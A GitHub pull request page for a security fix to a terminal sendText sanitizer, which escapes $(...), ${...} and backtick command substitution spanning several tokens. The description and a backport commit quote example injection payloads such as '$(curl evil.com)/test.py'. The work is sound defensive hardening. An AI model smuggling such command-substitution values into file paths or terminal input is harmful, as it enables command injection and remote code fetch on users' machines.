Skip to content

fix(security): Handle multi-token command substitution in sendText sanitizer#207

Merged
aakashmandavilli96 merged 1 commit intoaws:1.0from
aakashmandavilli96:1.0
Apr 20, 2026
Merged

fix(security): Handle multi-token command substitution in sendText sanitizer#207
aakashmandavilli96 merged 1 commit intoaws:1.0from
aakashmandavilli96:1.0

Conversation

@aakashmandavilli96
Copy link
Copy Markdown
Contributor

The previous fix only escaped $() within single whitespace-delimited tokens. Payloads like $(curl google.com)/test.py span two tokens so the $( was never escaped.

Fix by matching $(...), ${...}, and backticks as complete constructs (including internal spaces) when immediately followed by /. Also removes fragile single-quote context detection that was by passable via apostrophes in preceding text.


By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

…nitizer

The previous fix only escaped $() within single whitespace-delimited
tokens. Payloads like $(curl google.com)/test.py span two tokens so
the $( was never escaped.

Fix by matching $(...), ${...}, and backticks as complete constructs
(including internal spaces) when immediately followed by /. Also removes
fragile single-quote context detection that was bypassable via
apostrophes in preceding text.
@aakashmandavilli96 aakashmandavilli96 requested review from a team as code owners April 20, 2026 22:10
@aakashmandavilli96 aakashmandavilli96 merged commit be3dbcf into aws:1.0 Apr 20, 2026
1 check passed
azmkercso pushed a commit that referenced this pull request Apr 23, 2026
…Text

## Issue
P401260599

## Description of Changes
Backport the multi-token command substitution fix from 1.0/1.1 (PR #206/#207).
The previous sanitizer only escaped $() within single whitespace-delimited
tokens. Payloads like $(curl evil.com)/test.py that span whitespace
boundaries were not caught.

## Testing
- Verified patch applies cleanly via quilt (prepare-src.sh)

## Screenshots/Videos

## Additional Notes
Replaces the existing sanitize-terminal-sendtext-paths.diff with the
updated version already merged on 1.0 (#207) and 1.1 (#206).

## Backporting
Already merged on 1.0 and 1.1. This brings main in sync.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants